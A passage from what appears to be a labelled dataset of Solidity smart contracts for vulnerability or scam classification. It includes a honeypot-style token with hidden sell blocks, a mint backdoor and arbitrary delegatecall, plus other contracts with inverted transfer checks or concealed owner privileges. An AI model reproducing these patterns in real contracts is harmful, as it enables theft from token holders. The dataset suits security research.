totalCollected = SafeMath.add(totalCollected, _amount);
NewBuyer(_owner, boughtTokens, _amount);
NewExternalFoundation(_owner, boughtTokens, _amount, _extId);
return boughtTokens;
}
function emergencyStopSale()
only_sale_activated
only_sale_not_stopped
only(ESCBDevMultisig)
public {
saleStopped = true;
}
function restartSale()
only_during_sale_period
only_sale_stopped
only(ESCBDevMultisig)
public {
saleStopped = false;
}
function finalizeSale()
only_after_sale
only(ESCBDevMultisig)
public {
token.changeController(networkPlaceholder);
saleFinalized = true;
saleStopped = true;
FinalizedSale();
}
function deployNetwork(address _networkAddress)
only_finalized_sale
non_zero_address(_networkAddress)
only(ESCBDevMultisig)
public {
networkPlaceholder.changeController(_networkAddress);
}
function setESCBDevMultisig(address _newMultisig)
non_zero_address(_newMultisig)
only(ESCBDevMultisig)
public {
ESCBDevMultisig = _newMultisig;
}
function getNow()
constant
internal
returns (uint) {
return now;
}
function claimRefund()
only_finalized_sale
public {
require(!minGoalReached());
saleWallet.refund(msg.sender);
}
function minGoalReached()
public
view
returns (bool) {
return totalCollected >= minGoal;
}
function goalReached()
public
view
returns (bool) {
return totalCollected >= goal;
}
} | 1 | 3,256 |
pragma solidity ^0.4.17;
contract Base {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
} address Owner0 = msg.sender;
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
event Deposit(address sender, uint value);
event PayInterest(address receiver, uint value);
event Log(string message);
}
contract InterestFinal is Base {
address public creator;
address public OwnerO;
address public Owner1;
uint256 public etherLimit = 2 ether;
mapping (address => uint256) public balances;
mapping (address => uint256) public interestPaid;
function initOwner(address owner) {
OwnerO = owner;
}
function initOwner1(address owner) internal {
Owner1 = owner;
}
function InterestFinal(address owner1, address owner2) {
creator = msg.sender;
initOwner(owner1);
initOwner1(owner2);
}
function() payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[msg.sender] += amount;
}
}
function deposit(address sender) payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[sender] += amount;
Deposit(sender, msg.value);
}
}
function calculateInterest(address investor, uint256 interestRate) returns (uint256) {
return balances[investor] * (interestRate) / 100;
}
function payout(address recipient, uint256 weiAmount) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
if (balances[recipient] > 0) {
recipient.send(weiAmount);
PayInterest(recipient, weiAmount);
}
}
}
function currentBalance() returns (uint256) {
return this.balance;
}
function payInterest(address recipient, uint256 interestRate) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
uint256 weiAmount = calculateInterest(recipient, interestRate);
interestPaid[recipient] += weiAmount;
payout(recipient, weiAmount);
}
}
} | 1 | 3,591 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) canMint internal returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MTF is MintableToken, Ownable {
using SafeMath for uint256;
string public constant name = "MintFlint Token";
string public constant symbol = "MTF";
uint8 public constant decimals = 18;
uint256 public constant maxCap = 1500000000e18;
uint256 public totalWeiReceived;
uint256 public startTime;
uint256 public endTime;
bool public paused;
event StateChanged(bool);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
function MTF(uint256 _startTime, uint256 _endTime) public {
startTime = _startTime;
endTime = _endTime;
paused = false;
totalSupply_ = 0;
}
modifier whenSaleEnded() {
require(now >= endTime);
_;
}
modifier validTimeframe() {
require(!paused && now >=startTime && now < endTime);
_;
}
function teamAllocation(address _airdropAddress) public onlyOwner whenSaleEnded {
uint256 toDistribute = totalSupply_.mul(2);
uint256 part1 = toDistribute.mul(3).div(400);
mint(0x1117Db9F1bf18C91233Bff3BF2676137709463B3, part1);
mint(0x6C137b489cEE58C32fd8Aec66EAdC4B959550198, part1);
mint(0x450023b2D943498949f0A9cdb1DbBd827844EE78, part1);
mint(0x89080db76A555c42D7b43556E40AcaAFeB786CDD, part1);
uint256 part2 = toDistribute.mul(195).div(4000);
mint(0xcFc43257606C6a642d9438dCd82bf5b39A17dbAB, part2);
mint(0x4a8C5Ea0619c40070f288c8aC289ef2f6Bb87cff, part2);
mint(0x947251376EeAFb0B0CD1bD47cC6056A5162bEaF4, part2);
mint(0x39A49403eFB1e85F835A9e5dc82706B970D112e4, part2);
mint(0x733bc7201261aC3c9508D20a811D99179304240a, toDistribute.mul(2).div(100));
mint(0x4b6716bd349dC65d07152844ed4990C2077cF1a7, toDistribute.mul(18).div(100));
uint256 part5 = toDistribute.mul(6).div(400);
mint(0xEf628A29668C00d5C7C4D915F07188dC96cF24eb, part5);
mint(0xF28a5e85316E0C950f8703e2d99F15A7c077014c, part5);
mint(0x0c8C9Dcfa4ed27e02349D536fE30957a32b44a04, part5);
mint(0x0A86174f18D145D3850501e2f4C160519207B829, part5);
mint(0x35eeb3216E2Ff669F2c1Ff90A08A22F60e6c5728, toDistribute.mul(75).div(10000));
mint(0x28dcC9Af670252A5f76296207cfcC29B4E3C68D5, toDistribute.mul(75).div(10000));
mint(_airdropAddress, 175000000 ether);
finishMinting();
}
function transfer(address _to, uint _value) whenSaleEnded public returns(bool _success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenSaleEnded public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function getPrice() public pure returns(uint256) {
return 100000;
}
function pauseSale() public onlyOwner {
require(!paused);
paused = true;
}
function resumeSale() public onlyOwner {
require(paused);
paused = false;
}
function buyTokens(address beneficiary) internal validTimeframe {
uint256 tokensBought = msg.value.mul(getPrice());
totalWeiReceived = totalWeiReceived.add(msg.value);
emit TokenPurchase(beneficiary, msg.value, tokensBought);
mint(beneficiary, tokensBought);
require(totalSupply_ <= maxCap);
}
function () public payable {
buyTokens(msg.sender);
}
function drain() public onlyOwner whenSaleEnded {
owner.transfer(address(this).balance);
}
} | 1 | 2,493 |
pragma solidity ^0.4.14;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract DoneToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalSupply = 0;
uint256 constant September1 = 1504274400;
uint256 constant August25 = 1503669600;
uint256 constant testtime = 1502003216;
function name() constant returns (string) { return "Donation Efficiency Token"; }
function symbol() constant returns (string) { return "DONE"; }
function decimals() constant returns (uint8) { return 16; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
if (totalContribution > 1000000000000000000000) {throw;}
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, bool) {
return (totalContribution, totalSupply, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
if (block.timestamp > August25){
uint256 tokensIssued = (msg.value * 5);
}
else tokensIssued = (msg.value * 10);
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 1,326 |
pragma solidity 0.4.24;
interface ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
contract ERC223 is ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes indexed _data);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success);
function isContract(address _addr) internal view returns (bool);
}
contract Ownable {
address private owner_;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner_ = msg.sender;
}
function owner() public view returns(address) {
return owner_;
}
modifier onlyOwner() {
require(msg.sender == owner_, "Only the owner can call this function.");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner_);
owner_ = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Cannot transfer ownership to zero address.");
emit OwnershipTransferred(owner_, _newOwner);
owner_ = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Generic223Receiver {
uint public sentValue;
address public tokenAddr;
address public tokenSender;
bool public calledFoo;
bytes public tokenData;
bytes4 public tokenSig;
Tkn private tkn;
bool private __isTokenFallback;
struct Tkn {
address addr;
address sender;
uint256 value;
bytes data;
bytes4 sig;
}
modifier tokenPayable {
assert(__isTokenFallback);
_;
}
function tokenFallback(address _sender, uint _value, bytes _data) public returns (bool success) {
tkn = Tkn(msg.sender, _sender, _value, _data, getSig(_data));
__isTokenFallback = true;
address(this).delegatecall(_data);
__isTokenFallback = false;
return true;
}
function foo() public tokenPayable {
saveTokenValues();
calledFoo = true;
}
function getSig(bytes _data) private pure returns (bytes4 sig) {
uint lngth = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < lngth; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (lngth - 1 - i))));
}
}
function saveTokenValues() private {
tokenAddr = tkn.addr;
tokenSender = tkn.sender;
sentValue = tkn.value;
tokenSig = tkn.sig;
tokenData = tkn.data;
}
}
contract Regium is ERC223, Ownable {
using SafeMath for uint256;
string private name_ = "Regium";
string private symbol_ = "REGI";
uint256 private decimals_ = 18;
uint256 public totalSupply = 7200000 * (10 ** decimals_);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) internal balances_;
mapping (address => mapping (address => uint256)) private allowed_;
constructor() public {
balances_[msg.sender] = balances_[msg.sender].add(totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
function() public payable { revert("Cannot send ETH to this address."); }
function name() public view returns(string) {
return name_;
}
function symbol() public view returns(string) {
return symbol_;
}
function decimals() public view returns(uint256) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function safeTransfer(address _to, uint256 _value) public {
require(transfer(_to, _value), "Transfer failed.");
}
function safeTransferFrom(address _from, address _to, uint256 _value) public {
require(transferFrom(_from, _to, _value), "Transfer failed.");
}
function safeApprove( address _spender, uint256 _currentValue, uint256 _value ) public {
require(allowed_[msg.sender][_spender] == _currentValue, "Current allowance value does not match.");
approve(_spender, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[msg.sender], "Value exceeds balance of msg.sender.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[_from], "Value exceeds balance of msg.sender.");
require(_value <= allowed_[_from][msg.sender], "Value exceeds allowance of msg.sender for this owner.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed_[msg.sender][_spender] = allowed_[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_to != address(0), "Cannot transfer token to zero address.");
require(_value <= balanceOf(msg.sender), "Value exceeds balance of msg.sender.");
transfer(_to, _value);
if (isContract(_to)) {
return contractFallback(_to, _value, _data);
}
return true;
}
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success) {
Generic223Receiver receiver = Generic223Receiver(_to);
return receiver.tokenFallback(msg.sender, _value, _data);
}
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
} | 1 | 4,030 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ElonMusk {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,669 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if(a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
constructor() public {
owner = msg.sender;
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
